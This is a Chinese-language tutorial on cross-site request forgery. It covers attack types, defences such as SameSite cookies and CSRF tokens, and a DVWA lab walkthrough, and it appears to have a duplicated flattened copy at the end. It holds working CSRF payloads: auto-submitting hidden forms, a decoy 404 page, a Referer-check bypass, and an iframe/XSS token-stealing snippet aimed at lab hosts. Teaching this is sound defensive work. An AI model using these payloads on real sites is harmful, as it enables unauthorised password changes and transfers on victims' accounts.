csrf漏洞浅谈
字数 1029 2025-08-18 11:35:46

CSRF漏洞全面解析与防御指南

一、CSRF漏洞概述

CSRF(Cross Site Request Forgery,跨站请求伪造)是一种网络攻击手段,攻击者通过伪装成受信任用户来执行未经授权的操作。

1.1 CSRF与XSS的区别

  • XSS:利用受信任的用户
  • CSRF:伪装成受信任用户

虽然CSRF被认为比XSS危险性低,但仍需高度重视。

二、CSRF攻击原理

2.1 攻击分类

  1. 狭义CSRF:攻击者将代码植入受害用户访问的页面,以"受害用户"身份向服务端发起伪造请求
  2. 广义CSRF:攻击者预测HTTP接口所有参数,任意调用接口执行CURD操作

2.2 攻击条件

  1. 受害者已登录目标网站并在本地生成cookie
  2. 在cookie未过期时,受害者访问了攻击者页面(使用同一浏览器)

三、CSRF攻击实现方式

3.1 GET型攻击

示例:银行转账漏洞

http://csrfxj.com/zhuanzhang.php?name=ls&money=100000

隐蔽技术

  1. 利用a标签隐藏
  2. 使用HTML的src属性(页面不显示)
  3. 使用background属性的url功能

3.2 POST型攻击

使用自动提交表单:

<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
    <input type="hidden" name="name" value="zhangsan520">
    <input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>

四、CSRF漏洞检测

使用Burp Suite的CSRF POC功能:

  1. 抓取目标请求
  2. 生成攻击页面
  3. 修改参数测试功能是否生效

五、CSRF防御措施

5.1 前端防御

SameSite Cookie属性

  • Strict:完全禁止跨站发送Cookie
  • Lax:宽松模式,部分导航GET请求可带Cookie
  • None:关闭SameSite(必须同时设置Secure属性)

5.2 后端防御

  1. CSRF Token

    • 表单页面生成随机Token
    • 后端存储并验证Token
  2. Referer检查

    • 验证请求头中的Referer字段是否来自可信源

六、DVWA靶场实战

6.1 Low级别

直接修改URL参数即可攻击:

http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#

隐蔽攻击页面示例

<!DOCTYPE html>
<html>
<head>
    <title>404</title>
</head>
<body>
<h1>Not Found</h1>
<image src="攻击URL" />
<p>The requested URL was not found on this server.</p>
</body>
</html>

6.2 Medium级别

防御:检查HTTP_REFERER是否包含SERVER_NAME

绕过方法:将攻击页面命名为本地IP地址

6.3 High级别

防御:使用Token机制

绕过方法

  1. 结合XSS获取Token:
alert(document.cookie);
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
// XMLHttpRequest代码获取Token...
  1. 使用iframe获取Token:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
  1. 构造自动提交表单:
<form method="GET" action="http://127.0.0.1/dvwa/vulnerabilities/csrf">
    <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
    <input type='hidden' name='user_token' value="获取的Token">
    <input type="hidden" name="Change" value="Change" id="onlick">
</form>
<script>document.getElementById("onclick").click();</script>

七、总结

CSRF攻击虽然不如XSS流行,但危害性不容忽视。防御CSRF需要前后端协同配合,推荐使用CSRF Token+SameSite Cookie的组合防御方案。在实际开发中,应避免仅依赖Referer检查等可绕过的防御措施。

CSRF漏洞全面解析与防御指南 一、CSRF漏洞概述 CSRF(Cross Site Request Forgery,跨站请求伪造)是一种网络攻击手段,攻击者通过伪装成受信任用户来执行未经授权的操作。 1.1 CSRF与XSS的区别 XSS:利用受信任的用户 CSRF:伪装成受信任用户 虽然CSRF被认为比XSS危险性低,但仍需高度重视。 二、CSRF攻击原理 2.1 攻击分类 狭义CSRF :攻击者将代码植入受害用户访问的页面,以"受害用户"身份向服务端发起伪造请求 广义CSRF :攻击者预测HTTP接口所有参数,任意调用接口执行CURD操作 2.2 攻击条件 受害者已登录目标网站并在本地生成cookie 在cookie未过期时,受害者访问了攻击者页面(使用同一浏览器) 三、CSRF攻击实现方式 3.1 GET型攻击 示例:银行转账漏洞 隐蔽技术 : 利用a标签隐藏 使用HTML的src属性(页面不显示) 使用background属性的url功能 3.2 POST型攻击 使用自动提交表单: 四、CSRF漏洞检测 使用Burp Suite的CSRF POC功能: 抓取目标请求 生成攻击页面 修改参数测试功能是否生效 五、CSRF防御措施 5.1 前端防御 SameSite Cookie属性 : Strict :完全禁止跨站发送Cookie Lax :宽松模式,部分导航GET请求可带Cookie None :关闭SameSite(必须同时设置Secure属性) 5.2 后端防御 CSRF Token : 表单页面生成随机Token 后端存储并验证Token Referer检查 : 验证请求头中的Referer字段是否来自可信源 六、DVWA靶场实战 6.1 Low级别 直接修改URL参数即可攻击: 隐蔽攻击页面示例 : 6.2 Medium级别 防御:检查HTTP_ REFERER是否包含SERVER_ NAME 绕过方法:将攻击页面命名为本地IP地址 6.3 High级别 防御:使用Token机制 绕过方法 : 结合XSS获取Token: 使用iframe获取Token: 构造自动提交表单: 七、总结 CSRF攻击虽然不如XSS流行,但危害性不容忽视。防御CSRF需要前后端协同配合,推荐使用CSRF Token+SameSite Cookie的组合防御方案。在实际开发中,应避免仅依赖Referer检查等可绕过的防御措施。